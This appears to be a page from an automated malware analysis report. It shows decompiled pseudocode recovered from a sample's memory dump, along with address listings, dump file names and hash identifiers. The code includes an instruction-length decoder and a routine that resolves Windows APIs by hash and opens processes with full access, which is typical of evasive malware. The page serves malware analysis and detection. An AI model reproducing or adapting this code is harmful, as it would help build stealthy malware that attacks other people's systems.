					_t355 = _t427[0x10];
					_t343 = _t343 | 0x00000001;
					 *(_t355 + 0x18) = _t343;
					_t296 =  *_t274 & 0x000000ff;
					_t346 =  &(_t427[6]);
					 *_t346 = _t296;
					 *(_t355 + 8) = _t296;
					_t297 = _t296 >> 6;
					_t427[3] = _t297;
					 *(_t355 + 9) = _t297;
					_t299 =  *_t346 & 0x00000007;
					_t427[7] = _t299;
					 *(_t355 + 0xb) = _t299;
					_t301 =  *_t346 & 0x0000003f;
					 *_t346 = _t301;
					_t302 = _t301 >> 3;
					_t427[2] = _t302;
					 *(_t355 + 0xa) = _t302;
					if(_t395 != 0 && (_t395 << _t302 & 0x00000080) != 0) {
						_t343 = _t343 | 0x00003000;
						 *(_t427[0x10] + 0x18) = _t343;
					}
					if(_t427[5] == 0) {
						_t80 = _t250 - 0xd9; // -217
						if(_t80 <= 6) {
							_t81 = _t250 + 0x27; // 0x27
							_t417 = _t81 & 0x000000ff;
							if(_t427[3] != 3) {
								_t419 = ( *(_t417 + _t427[4] + 0xf1) & 0x000000ff) << _t427[2];
							} else {
								_t419 = ( *(_t427[4] + _t427[2] + 0xf8 + _t417 * 8) & 0x000000ff) << _t427[7];
							}
							if((_t419 & 0x00000080) != 0) {
								_t343 = _t343 | 0x00003000;
								 *(_t427[0x10] + 0x18) = _t343;
							}
						}
					}
					if(( *_t427 & 0x00000020) == 0) {
						L52:
						if(_t427[5] == 0) {
							if(_t250 == 0x8c) {
								L85:
								if(_t427[2] <= 5) {
									L87:
									_t427[5] = _t274[0];
									_t427[4] =  &(_t274[1]);
									if(_t427[2] <= 1) {
										if(_t250 != 0xf6) {
											_t309 = _t427[1];
											_t310 =  ==  ? _t309 | 0xffffff90 : _t309;
											_t427[1] =  ==  ? _t309 | 0xffffff90 : _t309;
										} else {
											_t427[1] = _t427[1] | 0xffffff82;
										}
									}
									if(_t427[3] == 0) {
										if(( *_t427 & 0x00000010) == 0) {
											_t264 = 4;
											_t357 =  ==  ? _t264 : 0;
										} else {
											_t273 = 2;
											_t357 =  ==  ? _t273 : 0;
										}
									} else {
										if(_t427[3] == 1) {
											_t357 = 1;
										} else {
											if(_t427[3] == 2) {
												_t357 = (( !( *_t427) & 0x00000010) >> 3) + 2;
											} else {
												_t357 = 0;
											}
										}
									}
									if(_t427[3] != 3 && _t427[7] == 4 && ( *_t427 & 0x00000010) == 0) {
										_t307 = _t427[5];
										_t343 = _t343 | 0x00000002;
										_t403 = _t427[0x10];
										_t427[4] =  &(_t274[1]);
										 *(_t403 + 0xc) = _t307;
										_t308 = _t307 & 0x00000007;
										 *(_t403 + 0x18) = _t343;
										 *(_t403 + 0xd) = _t307 >> 6;
										 *(_t403 + 0xe) = (_t307 & 0x0000003f) >> 3;
										 *(_t403 + 0xf) = _t308;
										if(_t308 == 5) {
											_t272 = 4;
											_t357 =  ==  ? _t272 : _t357;
										}
									}
									if(_t357 == 1) {
										_t304 = _t427[0x10];
										_t343 = _t343 | 0x00000020;
										 *(_t304 + 0x18) = _t343;
										 *((char*)(_t304 + 0x14)) =  *(_t427[4] - 1);
									} else {
										if(_t357 == 2) {
											_t277 = _t427[0x10];
											_t343 = _t343 | 0x00000040;
											 *(_t277 + 0x18) = _t343;
											 *((short*)(_t277 + 0x14)) =  *(_t427[4] - 1) & 0x0000ffff;
										} else {
											if(_t357 == 4) {
												_t278 = _t427[0x10];
												_t343 = _t343 | 0x00000080;
												 *(_t278 + 0x18) = _t343;
												 *(_t278 + 0x14) =  *(_t427[4] - 1);
											}
										}
									}
									_t195 = _t427[4] - 1; // -1
									_t274 = _t357 + _t195;
									L114:
									_t251 = _t427[1];
									_t292 = _t251 & 0x00000040;
									if((_t251 & 0x00000010) == 0) {
										L121:
										if((_t427[1] & 0x00000004) == 0) {
											L129:
											if((_t427[1] & 0x00000002) != 0) {
												_t396 = _t427[0x10];
												_t343 = _t343 | 0x00000004;
												 *(_t396 + 0x18) = _t343;
												_t257 =  *_t274;
												_t274 =  &(_t274[0]);
												 *((char*)(_t396 + 0x10)) = _t257;
											}
											if(_t292 == 0) {
												if((_t427[1] & 0x00000020) != 0) {
													_t293 = _t427[0x10];
													_t343 = _t343 | 0x00000104;
													 *(_t293 + 0x18) = _t343;
													_t255 =  *_t274;
													_t274 =  &(_t274[0]);
													 *((char*)(_t293 + 0x10)) = _t255;
												}
												goto L135;
											} else {
												L132:
												_t294 = _t427[0x10];
												_t343 = _t343 | 0x00000110;
												 *(_t294 + 0x18) = _t343;
												_t256 =  *_t274;
												_t274 =  &(_t274[2]);
												 *(_t294 + 0x10) = _t256;
												L135:
												_t275 = _t274 - _t427[0xf];
												if(_t275 <= 0xf) {
													 *(_t427[0x10]) = _t275;
												} else {
													_t254 = _t427[0x10];
													_t275 = 0xf;
													_t254[0x18] = _t343 | 0x00005000;
													 *_t254 = _t275;
												}
												return _t275 & 0x000000ff;
											}
										}
										if((_t343 & 0x00000010) == 0) {
											if((_t343 & 0x00000008) == 0) {
												_t397 = _t427[0x10];
												_t343 = _t343 | 0x00000008;
												 *(_t397 + 0x18) = _t343;
												 *((short*)(_t397 + 0x10)) =  *_t274 & 0x0000ffff;
												L128:
												_t274 =  &(_t274[1]);
												goto L129;
											}
											_t398 = _t427[0x10];
											_t343 = _t343 | 0x00000800;
											L126:
											 *(_t398 + 0x18) = _t343;
											 *((short*)(_t398 + 0x14)) =  *_t274 & 0x0000ffff;
											goto L128;
										}
										_t398 = _t427[0x10];
										_t343 = _t343 | 0x00000008;
										goto L126;
									}
									if(_t292 == 0) {
										if(( *_t427 & 0x00000008) == 0) {
											_t399 = _t427[0x10];
											_t343 = _t343 | 0x00000010;
											 *(_t399 + 0x18) = _t343;
											_t260 =  *_t274;
											_t274 =  &(_t274[2]);
											 *(_t399 + 0x10) = _t260;
										} else {
											_t400 = _t427[0x10];
											_t343 = _t343 | 0x00000008;
											 *(_t400 + 0x18) = _t343;
											_t261 =  *_t274 & 0x0000ffff;
											_t274 =  &(_t274[1]);
											 *(_t400 + 0x10) = _t261;
										}
										goto L121;
									}
									if(( *_t427 & 0x00000008) == 0) {
										goto L132;
									}
									_t295 = _t427[0x10];
									_t343 = _t343 | 0x00000108;
									 *(_t295 + 0x18) = _t343;
									_t262 =  *_t274 & 0x0000ffff;
									_t274 =  &(_t274[1]);
									 *(_t295 + 0x10) = _t262;
									goto L135;
								}
								L86:
								_t343 = _t343 | 0x00011000;
								 *(_t427[0x10] + 0x18) = _t343;
								goto L87;
							}
							if(_t250 != 0x8e) {
								L66:
								if(_t427[3] != 3) {
									if(_t427[5] == 0) {
										goto L87;
									}
									if(_t250 == 0xd7 || _t250 == 0xf7) {
										L83:
										if(( *_t427 & 0x00000009) != 0) {
											goto L86;
										}
									} else {
										if(_t250 == 0xd6) {
											if(( *_t427 & 0x00000006) != 0) {
												goto L86;
											}
											goto L87;
										}
										if(_t250 == 0xc5) {
											goto L86;
										}
										if(_t250 == 0x50) {
											goto L83;
										}
									}
									goto L87;
								}
								_t364 = _t427[4];
								_t312 = _t364 + 0x1da;
								_t366 =  !=  ? _t312 : _t364 + 0x1cb;
								_t313 =  !=  ? _t427[9] + _t364 : _t312;
								_t427[4] = _t366;
								if(_t366 == _t313) {
									goto L87;
								} else {
									goto L68;
								}
								while(1) {
									L68:
									_t408 = _t427[4];
									if(_t250 ==  *_t408) {
										break;
									}
									_t411 = _t408 + 3;
									_t427[4] = _t411;
									if(_t411 != _t313) {
										continue;
									}
									goto L87;
								}
								_t314 = _t408;
								if(( *_t427 &  *(_t314 + 1) & 0x000000ff) == 0) {
									goto L87;
								}
								if((( *(_t314 + 2) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
									goto L86;
								}
								goto L87;
							}
							if(_t427[2] == 1) {
								goto L86;
							}
							goto L85;
						}
						if(_t250 == 0x20 || _t250 == 0x22) {
							_t316 = 3;
							_t427[3] = _t316;
							if(_t427[2] > 4 || _t427[2] == 1) {
								goto L86;
							} else {
								goto L87;
							}
						} else {
							if(_t250 == 0x21 || _t250 == 0x23) {
								_t319 = 3;
								_t427[3] = _t319;
								if((_t427[6] & 0xfffffff0) == 0x20) {
									goto L86;
								}
								goto L87;
							} else {
								goto L66;
							}
						}
					}
					if(_t427[3] == 3) {
						L51:
						_t343 = _t343 | 0x00009000;
						 *(_t427[0x10] + 0x18) = _t343;
						goto L52;
					}
					_t412 = _t427[4];
					_t321 = _t250;
					_t427[8] = _t412 + 0x1b9;
					if(_t427[5] == 0) {
						_t413 = _t412 + 0x1a1;
						_t321 = _t250 & 0x000000fe;
					} else {
						_t413 = _t427[8];
						_t427[8] = _t412 + 0x1cb;
					}
					while(_t413 != _t427[8]) {
						if(_t321 ==  *_t413) {
							if((( *(_t413 + 1) & 0x000000ff) << _t427[2] & 0x00000080) == 0) {
								goto L52;
							}
							goto L51;
						}
						_t413 = _t413 + 2;
					}
					goto L51;
				}
			}

0x6eec92e3
0x6eec92e7
0x6eec92f3
0x6eec92f7
0x6eec92fb
0x6eec9300
0x6eec9303
0x6eec9305
0x6eec9307
0x6eec9307
0x6eec930a
0x6eec9310
0x6eec9388
0x6eec938c
0x6eec938f
0x6eec938f
0x6eec9392
0x00000000
0x6eec9392
0x6eec9317
0x6eec937f
0x6eec9383
0x00000000
0x6eec9383
0x6eec931e
0x6eec9377
0x6eec937a
0x00000000
0x6eec937a
0x6eec9323
0x6eec9361
0x6eec9368
0x6eec936b
0x6eec9334
0x6eec9334
0x6eec933a
0x00000000
0x00000000
0x6eec933f
0x6eec9359
0x6eec935c
0x00000000
0x6eec935c
0x6eec9344
0x00000000
0x6eec9346
0x6eec934a
0x6eec934d
0x00000000
0x6eec934d
0x6eec9344
0x6eec9395
0x6eec9395
0x6eec9395
0x6eec939e
0x6eec93a7
0x6eec93aa
0x6eec93ad
0x6eec93b0
0x6eec93b3
0x6eec93b9
0x6eec93fb
0x6eec93fe
0x6eec93ff
0x6eec9406
0x6eec9409
0x6eec93bb
0x6eec93bf
0x6eec93c9
0x6eec93d0
0x6eec93d2
0x6eec93eb
0x6eec93ee
0x6eec93ee
0x6eec93d0
0x6eec9411
0x6eec9414
0x6eec9417
0x6eec941b
0x6eec941f
0x6eec9429
0x6eec942d
0x6eec9437
0x6eec9440
0x6eec944d
0x6eec9450
0x6eec9453
0x6eec9453
0x6eec945f
0x6eec946a
0x6eec9470
0x6eec9474
0x6eec9461
0x6eec9461
0x6eec9461
0x6eec947c
0x6eec94a6
0x6eec94ac
0x6eec94ac
0x6eec94b4
0x6eec985d
0x6eec9863
0x6eec9869
0x6eec9869
0x00000000
0x6eec94ba
0x6eec94ba
0x6eec94be
0x6eec94c1
0x6eec94c4
0x6eec94c7
0x6eec94cb
0x6eec94cd
0x6eec94d0
0x6eec94d3
0x6eec94d7
0x6eec94dc
0x6eec94df
0x6eec94e3
0x6eec94e8
0x6eec94eb
0x6eec94ed
0x6eec94f0
0x6eec94f4
0x6eec94f9
0x6eec9509
0x6eec950f
0x6eec950f
0x6eec9517
0x6eec9519
0x6eec9522
0x6eec9524
0x6eec9527
0x6eec9532
0x6eec955f
0x6eec9534
0x6eec954b
0x6eec954b
0x6eec9567
0x6eec956d
0x6eec9573
0x6eec9573
0x6eec9567
0x6eec9522
0x6eec957a
0x6eec95eb
0x6eec95f0
0x6eec9649
0x6eec970b
0x6eec9710
0x6eec971f
0x6eec9725
0x6eec9729
0x6eec9732
0x6eec9739
0x6eec9742
0x6eec9750
0x6eec9753
0x6eec973b
0x6eec973b
0x6eec973b
0x6eec9739
0x6eec975c
0x6eec9789
0x6eec979c
0x6eec97a4
0x6eec978b
0x6eec978d
0x6eec9795
0x6eec9795
0x6eec975e
0x6eec9763
0x6eec9782
0x6eec9765
0x6eec976a
0x6eec977b
0x6eec976c
0x6eec976c
0x6eec976c
0x6eec976a
0x6eec9763
0x6eec97ac
0x6eec97bb
0x6eec97c8
0x6eec97d1
0x6eec97d5
0x6eec97d9
0x6eec97dc
0x6eec97df
0x6eec97e2
0x6eec97e5
0x6eec97e8
0x6eec97ee
0x6eec97f2
0x6eec97f8
0x6eec97f8
0x6eec97ee
0x6eec97fe
0x6eec983b
0x6eec983f
0x6eec9846
0x6eec984c
0x6eec9800
0x6eec9803
0x6eec9823
0x6eec9827
0x6eec982e
0x6eec9835
0x6eec9805
0x6eec9808
0x6eec980a
0x6eec980e
0x6eec9818
0x6eec981e
0x6eec981e
0x6eec9808
0x6eec9803
0x6eec9853
0x6eec9853
0x6eec986c
0x6eec986c
0x6eec9872
0x6eec9877
0x6eec98d1
0x6eec98d6
0x6eec9915
0x6eec991a
0x6eec991c
0x6eec9920
0x6eec9923
0x6eec9926
0x6eec9928
0x6eec9929
0x6eec9929
0x6eec992e
0x6eec994c
0x6eec994e
0x6eec9952
0x6eec9958
0x6eec995b
0x6eec995d
0x6eec995e
0x6eec995e
0x00000000
0x6eec9930
0x6eec9930
0x6eec9930
0x6eec9934
0x6eec993a
0x6eec993d
0x6eec993f
0x6eec9942
0x6eec9961
0x6eec9961
0x6eec9968
0x6eec9982
0x6eec996a
0x6eec996a
0x6eec9976
0x6eec9977
0x6eec997a
0x6eec997a
0x6eec9990
0x6eec9990
0x6eec992e
0x6eec98db
0x6eec98e9
0x6eec9901
0x6eec9905
0x6eec9908
0x6eec990e
0x6eec9912
0x6eec9912
0x00000000
0x6eec9912
0x6eec98eb
0x6eec98ef
0x6eec98f5
0x6eec98f5
0x6eec98fb
0x00000000
0x6eec98fb
0x6eec98dd
0x6eec98e1
0x00000000
0x6eec98e1
0x6eec987b
0x6eec98a7
0x6eec98bf
0x6eec98c3
0x6eec98c6
0x6eec98c9
0x6eec98cb
0x6eec98ce
0x6eec98a9
0x6eec98a9
0x6eec98ad
0x6eec98b0
0x6eec98b3
0x6eec98b6
0x6eec98b9
0x6eec98b9
0x00000000
0x6eec98a7
0x6eec9881
0x00000000
0x00000000
0x6eec9887
0x6eec988b
0x6eec9891
0x6eec9894
0x6eec9897
0x6eec989a
0x00000000
0x6eec989a
0x6eec9712
0x6eec9716
0x6eec971c
0x00000000
0x6eec971c
0x6eec9654
0x6eec9666
0x6eec966b
0x6eec96d6
0x00000000
0x00000000
0x6eec96dd
0x6eec9703
0x6eec9707
0x00000000
0x00000000
0x6eec96e6
0x6eec96eb
0x6eec96ff
0x00000000
0x00000000
0x00000000
0x6eec9701
0x6eec96f2
0x00000000
0x00000000
0x6eec96f7
0x00000000
0x00000000
0x6eec96f9
0x00000000
0x6eec96dd
0x6eec966d
0x6eec9677
0x6eec9688
0x6eec968b
0x6eec968e
0x6eec9694
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec969a
0x6eec969a
0x6eec969a
0x6eec96a1
0x00000000
0x00000000
0x6eec96a3
0x6eec96a6
0x6eec96ac
0x00000000
0x00000000
0x00000000
0x6eec96ae
0x6eec96b0
0x6eec96b9
0x00000000
0x00000000
0x6eec96cd
0x00000000
0x00000000
0x00000000
0x6eec96cf
0x6eec965b
0x00000000
0x00000000
0x00000000
0x6eec9661
0x6eec95f5
0x6eec9624
0x6eec9625
0x6eec962e
0x00000000
0x6eec963f
0x00000000
0x6eec963f
0x6eec95fc
0x6eec95ff
0x6eec9612
0x6eec9613
0x6eec9617
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eec95ff
0x6eec95f5
0x6eec9581
0x6eec95de
0x6eec95e2
0x6eec95e8
0x00000000
0x6eec95e8
0x6eec9583
0x6eec9587
0x6eec9594
0x6eec9598
0x6eec95ae
0x6eec95b6
0x6eec959a
0x6eec959c
0x6eec95a6
0x6eec95a6
0x6eec95bc
0x6eec95c5
0x6eec95dc
0x00000000
0x00000000
0x00000000
0x6eec95dc
0x6eec95c7
0x6eec95c7
0x00000000
0x6eec95bc

Strings

, xrefs: 6EEC9947

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction ID: 36e26c1c46e3de39082a48e26fc32ac3063cd383fc78b827cfc9b2f4e5edcba5
Opcode Fuzzy Hash: 4da791d23ea9081e4bcc915a4a84c989f5d97c3cf0c4cd625fbeb535d07cbc76
Instruction Fuzzy Hash: F922B0314193868BD714CF59C5A136ABBE0BF86B0CF20886DE9F54B391D3369985CB93

Uniqueness

Uniqueness Score: -1.00%

Function 6EEB84E4, Relevance: 1.8, Strings: 1, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 93%

			E6EEB84E4(signed int __ecx, intOrPtr __edx) {
				void* __esi;
				void* __ebp;
				signed int* _t173;
				signed int _t178;
				void* _t180;
				void* _t181;
				intOrPtr* _t188;
				signed int _t202;
				intOrPtr* _t211;
				intOrPtr* _t212;
				intOrPtr* _t217;
				signed int _t218;
				void* _t219;
				void* _t220;
				void* _t237;
				void* _t238;
				signed int* _t246;
				void* _t247;
				signed int* _t258;
				intOrPtr* _t269;
				signed int* _t277;
				intOrPtr* _t279;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t296;
				void* _t299;
				signed int* _t308;
				intOrPtr* _t310;
				signed int _t316;
				intOrPtr _t318;
				signed int* _t324;
				signed int _t325;
				signed int _t326;
				void* _t345;
				void* _t416;
				signed int _t417;
				signed int _t424;
				signed int _t432;
				intOrPtr* _t433;
				intOrPtr* _t434;
				signed int _t437;
				signed int _t441;
				signed int _t445;
				signed int _t446;
				signed int _t447;
				signed int _t450;
				void* _t451;
				signed int _t452;
				void* _t453;
				signed int _t454;
				void* _t457;
				intOrPtr* _t458;

				_push(_t435);
				_t458 = _t457 - 0xa4;
				 *_t458 = __ecx + 0x1c;
				 *((intOrPtr*)(_t458 + 0x68)) = __edx;
				 *(_t458 + 4) = __ecx;
				 *(_t458 + 0x84) = 0;
				 *((intOrPtr*)(_t458 + 0x78)) = __ecx + 4;
				while(1) {
					_t415 =  *(_t458 + 0x6c);
					E6EEBB714(_t458 + 0x24,  *(_t458 + 0x6c), 0x7fffffff);
					if(E6EEBF56C(_t458 + 0x24) == 0) {
						goto L3;
					} else {
						 *( *(_t458 + 4) + 0x2c) = 0;
						E6EEBF6F0(_t458 + 0x24);
					}
					L60:
					_t318 = 0xffffffffffffffff;
					L62:
					if(_t318 != 0) {
						L65:
						return _t318;
					} else {
						if( *(_t458 + 0x84) != 0x20) {
							E6EEC218C(0x5dc, _t415, _t435);
							 *(_t458 + 0x84) =  *(_t458 + 0x84) + 1;
							continue;
						} else {
							_t318 = 0xffffffffffffffff;
							goto L65;
						}
					}
					L71:
					L3:
					__eflags =  *( *(_t458 + 4));
					if( *( *(_t458 + 4)) > 0) {
						_t326 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x64) = _t326 * 4;
							_t434 = E6EEBF558( *(_t458 + 0x7c), _t326 * 4);
							_t435 =  *(_t458 + 0x20);
							__eflags = _t435;
							if(_t435 <= 0) {
								L11:
								_t435 =  *(_t458 + 4) + 4;
								_t283 = E6EEBF568( *(_t458 + 4) + 4);
								__eflags = _t283 -  *(_t458 + 0x64);
								if(_t283 >  *(_t458 + 0x64)) {
									_t451 = 4 + _t326 * 4;
									_t299 = E6EEBF568(_t435);
									__eflags = _t299 - _t451;
									if(_t299 > _t451) {
										 *((intOrPtr*)(_t458 + 0x9c)) = E6EEBF558(_t435,  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0x98)) = E6EEBF558(_t435, _t451);
										E6EEC382C( *((intOrPtr*)(_t458 + 0xa4)),  *((intOrPtr*)(_t458 + 0x9c)), E6EEBF568(_t435) - _t451);
										_t458 = _t458 + 0xc;
									}
									E6EEBF8C4(_t435, E6EEBF568(_t435) + 0xfffffffc);
									_t308 =  *(_t458 + 4);
									 *_t308 =  *_t308 - 1;
									__eflags =  *_t308;
								}
								_t450 = E6EEC2F8C(0xa5eabdf8, 0x2c2324e8);
								__eflags = _t450;
								if(_t450 != 0) {
									 *_t450( *(E6EEBF558( *(_t458 + 4),  *(_t458 + 0x64))));
								}
								_t285 = E6EEBF568( *_t458);
								__eflags = _t285 -  *(_t458 + 0x64);
								if(_t285 >  *(_t458 + 0x64)) {
									_t453 = 4 + _t326 * 4;
									_t287 = E6EEBF568( *_t458);
									__eflags = _t287 - _t453;
									if(_t287 > _t453) {
										_t435 = E6EEBF558( *(_t458 + 4),  *(_t458 + 0x64));
										 *((intOrPtr*)(_t458 + 0xa0)) = E6EEBF558( *(_t458 + 4), _t453);
										E6EEC382C(_t288,  *((intOrPtr*)(_t458 + 0xa4)), E6EEBF568( *_t458) - _t453);
										_t458 = _t458 + 0xc;
									}
									E6EEBF8C4( *(_t458 + 4), E6EEBF568( *_t458) + 0xfffffffc);
									_t296 =  *(_t458 + 4);
									_t33 = _t296 + 0x18;
									 *_t33 =  *(_t296 + 0x18) - 1;
									__eflags =  *_t33;
								}
								_t326 = _t326 - 1;
								__eflags = _t326;
							} else {
								_t452 = 0;
								__eflags = 0;
								while(1) {
									_t310 = E6EEBF558(_t458 + 0x28, _t452 * 4);
									__eflags =  *_t310 -  *_t434;
									if( *_t310 ==  *_t434) {
										break;
									}
									_t452 = _t452 + 1;
									__eflags = _t452 - _t435;
									if(_t452 < _t435) {
										continue;
									} else {
										goto L11;
									}
									goto L20;
								}
								__eflags = _t452 - 0xffffffff;
								if(_t452 == 0xffffffff) {
									goto L11;
								} else {
								}
							}
							L20:
							_t326 = _t326 + 1;
							__eflags = _t326 -  *( *(_t458 + 4));
						} while (_t326 <  *( *(_t458 + 4)));
					}
					__eflags =  *(_t458 + 0x20);
					if( *(_t458 + 0x20) > 0) {
						_t325 = 0;
						__eflags = 0;
						do {
							 *(_t458 + 0x7c) = _t325 * 4;
							_t433 = E6EEBF558(_t458 + 0x28, _t325 * 4);
							_t258 =  *(_t458 + 4);
							_t435 =  *_t258;
							__eflags = _t435;
							if(_t435 <= 0) {
								L29:
								_t445 = E6EEC2F8C(0x4bcc7cba, 0x997e6547);
								__eflags = _t445;
								if(_t445 != 0) {
									_t447 =  *_t445(0x1fffff, 0,  *((intOrPtr*)(E6EEBF558(_t458 + 0x28,  *(_t458 + 0x7c)))));
									__eflags = _t447;
									if(_t447 != 0) {
										E6EEBF8C4( *(_t458 + 4), E6EEBF568( *_t458) + 4);
										 *(E6EEBF558( *(_t458 + 4), E6EEBF568( *_t458) + 0xfffffffc)) = _t447;
										 *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) =  *((intOrPtr*)( *((intOrPtr*)(_t458 + 0x28 - 0x20)) + 0x18)) + 1;
										_t269 = E6EEBF558(_t458 + 0x28,  *(_t458 + 0x7c));
										 *((intOrPtr*)(_t458 + 0x70)) =  *(_t458 + 4) + 4;
										E6EEBF8C4( *((intOrPtr*)(_t458 + 0x74)), E6EEBF568( *(_t458 + 4) + 4) + 4);
										 *((intOrPtr*)(E6EEBF558( *((intOrPtr*)(_t458 + 0x74)), E6EEBF568( *((intOrPtr*)(_t458 + 0x70))) + 0xfffffffc))) =  *_t269;
										_t277 =  *(_t458 + 4);
										 *_t277 =  *_t277 + 1;
										__eflags =  *_t277;
									}
								}
							} else {
								_t446 = 0;
								__eflags = 0;
								 *(_t458 + 0x88) =  &(_t258[1]);
								while(1) {
									_t279 = E6EEBF558( *((intOrPtr*)(_t458 + 0x8c)), _t446 * 4);
									__eflags =  *_t279 -  *_t433;
									if( *_t279 ==  *_t433) {
										break;
									}
									_t446 = _t446 + 1;
									__eflags = _t446 - _t435;
									if(_t446 < _t435) {
										continue;
									} else {
										goto L29;
									}
									goto L32;
								}
								__eflags = _t446 - 0xffffffff;
								if(_t446 == 0xffffffff) {
									goto L29;
								} else {
								}
							}
							L32:
							_t325 = _t325 + 1;
							__eflags = _t325 -  *(_t458 + 0x20);
						} while (_t325 <  *(_t458 + 0x20));
					}
					E6EEBF6F0(_t458 + 0x24);
					_t173 =  *(_t458 + 4);
					__eflags = _t173[0xb];
					if(_t173[0xb] != 0) {
						_t432 =  *_t173;
						__eflags = _t432;
						if(_t432 > 0) {
							_t435 = 0;
							__eflags = 0;
							_t324 =  &(_t173[1]);
							while(1) {
								_t441 = _t435 * 4;
								_t217 = E6EEBF558(_t324, _t441);
								_t218 =  *(_t458 + 4);
								__eflags =  *_t217 -  *((intOrPtr*)(_t218 + 0x30));
								if( *_t217 ==  *((intOrPtr*)(_t218 + 0x30))) {
									break;
								}
								_t435 = _t435 + 1;
								__eflags = _t435 - _t432;
								if(_t435 < _t432) {
									continue;
								}
								goto L46;
							}
							__eflags = _t435 - 0xffffffff;
							if(_t435 != 0xffffffff) {
								_t219 = E6EEBF568( *_t458);
								__eflags = _t219 - _t441;
								if(_t219 > _t441) {
									 *((intOrPtr*)(_t458 + 0x74)) = 4 + _t435 * 4;
									_t247 = E6EEBF568( *_t458);
									__eflags = _t247 -  *((intOrPtr*)(_t458 + 0x74));
									if(_t247 >  *((intOrPtr*)(_t458 + 0x74))) {
										 *((intOrPtr*)(_t458 + 0x90)) = E6EEBF558( *(_t458 + 4), _t441);
										 *((intOrPtr*)(_t458 + 0x8c)) = E6EEBF558( *(_t458 + 4),  *((intOrPtr*)(_t458 + 0x74)));
										E6EEC382C( *((intOrPtr*)(_t458 + 0x98)),  *((intOrPtr*)(_t458 + 0x90)), E6EEBF568( *_t458) -  *((intOrPtr*)(_t458 + 0x74)));
										_t458 = _t458 + 0xc;
									}
									E6EEBF8C4( *(_t458 + 4), E6EEBF568( *_t458) + 0xfffffffc);
									_t424 =  *(_t458 + 4);
									_t75 = _t424 + 0x18;
									 *_t75 =  *(_t424 + 0x18) - 1;
									__eflags =  *_t75;
								}
								_t220 = E6EEBF568(_t324);
								__eflags = _t220 - _t441;
								if(_t220 > _t441) {
									_t435 = 4 + _t435 * 4;
									_t237 = E6EEBF568(_t324);
									__eflags = _t237 - _t435;
									if(_t237 > _t435) {
										_t238 = E6EEBF558(_t324, _t441);
										 *((intOrPtr*)(_t458 + 0x94)) = E6EEBF558(_t324, _t435);
										E6EEC382C(_t238,  *((intOrPtr*)(_t458 + 0x98)), E6EEBF568(_t324) - _t435);
										_t458 = _t458 + 0xc;
									}
									E6EEBF8C4(_t324, E6EEBF568(_t324) + 0xfffffffc);
									_t246 =  *(_t458 + 4);
									 *_t246 =  *_t246 - 1;
									__eflags =  *_t246;
								}
								E6EEBF8C4( *(_t458 + 4), E6EEBF568( *_t458) + 4);
								 *(E6EEBF558( *(_t458 + 4), E6EEBF568( *_t458) + 0xfffffffc)) =  *( *(_t458 + 4) + 0x2c);
								 *((intOrPtr*)( *(_t458 + 4) + 0x18)) =  *((intOrPtr*)( *(_t458 + 4) + 0x18)) + 1;
								E6EEBF8C4(_t324, E6EEBF568(_t324) + 4);
								 *((intOrPtr*)(E6EEBF558(_t324, E6EEBF568(_t324) + 0xfffffffc))) =  *((intOrPtr*)( *(_t458 + 4) + 0x30));
								 *( *(_t458 + 4)) =  *( *(_t458 + 4)) + 1;
							}
						}
					}
					L46:
					 *((intOrPtr*)(_t458 + 8)) = 0;
					 *((intOrPtr*)(_t458 + 0xc)) = 0;
					E6EEBF620(_t458 + 0x14, 0);
					 *((intOrPtr*)(_t458 + 0x34)) =  *((intOrPtr*)(_t458 + 0x68));
					 *((intOrPtr*)(_t458 + 0x38)) = 0;
					E6EEBF620(_t458 + 0x40, 0);
					_t178 =  *(_t458 + 4);
					_t416 = 0x40;
					__eflags =  *((intOrPtr*)(_t178 + 0x18)) - 0x40;
					_t417 =  <  ?  *((void*)(_t178 + 0x18)) : _t416;
					 *(_t458 + 0x80) = _t417;
					__eflags = _t417;
					if(_t417 <= 0) {
						L57:
						_t415 = E6EEBF558(_t458 + 0x14, 0);
						_t180 = E6EEC2878( *((intOrPtr*)(_t458 + 0xc)), _t179, 0x3e8);
						_t132 = _t180 - 0x80; // -128
						_t181 = _t132;
						__eflags = _t181 - 0x3f;
						_t316 =  <=  ? _t181 : _t180;
						__eflags = _t316 - 0x102;
						if(_t316 == 0x102) {
							goto L59;
						} else {
							__eflags = _t316 - 0x3f;
							if(_t316 <= 0x3f) {
								__eflags = _t316 << 2;
								 *((intOrPtr*)( *((intOrPtr*)(_t458 + 8)) + 0x2c)) =  *((intOrPtr*)(E6EEBF558( *(_t458 + 4), _t316 << 2)));
								_t188 = E6EEBF558( *(_t458 + 0x7c), _t316 << 2);
								_t415 =  *(_t458 + 4);
								 *((intOrPtr*)(_t415 + 0x30)) =  *_t188;
								_t318 =  *((intOrPtr*)(_t415 + 0x2c));
								E6EEBB680(_t458 + 0x34);
								E6EEBB680(_t458 + 8);
							} else {
								goto L59;
							}
						}
						goto L62;
					} else {
						_t454 = 0;
						__eflags = 0;
						while(1) {
							E6EEBCB48(_t458 + 0x4c);
							_t415 = 0;
							_t345 = _t458 + 0x4c;
							 *((char*)(_t345 + 4)) = 0;
							 *((intOrPtr*)(_t345 + 0x20)) = 0;
							__eflags = E6EEBC33C(_t345);
							if(__eflags != 0) {
								break;
							}
							E6EEBF8C4(_t458 + 0x14, E6EEBF568(_t458 + 0x10) + 4);
							 *((intOrPtr*)(E6EEBF558(_t458 + 0x14, E6EEBF568(_t458 + 0x10) + 0xfffffffc))) =  *((intOrPtr*)(_t458 + 0x4c));
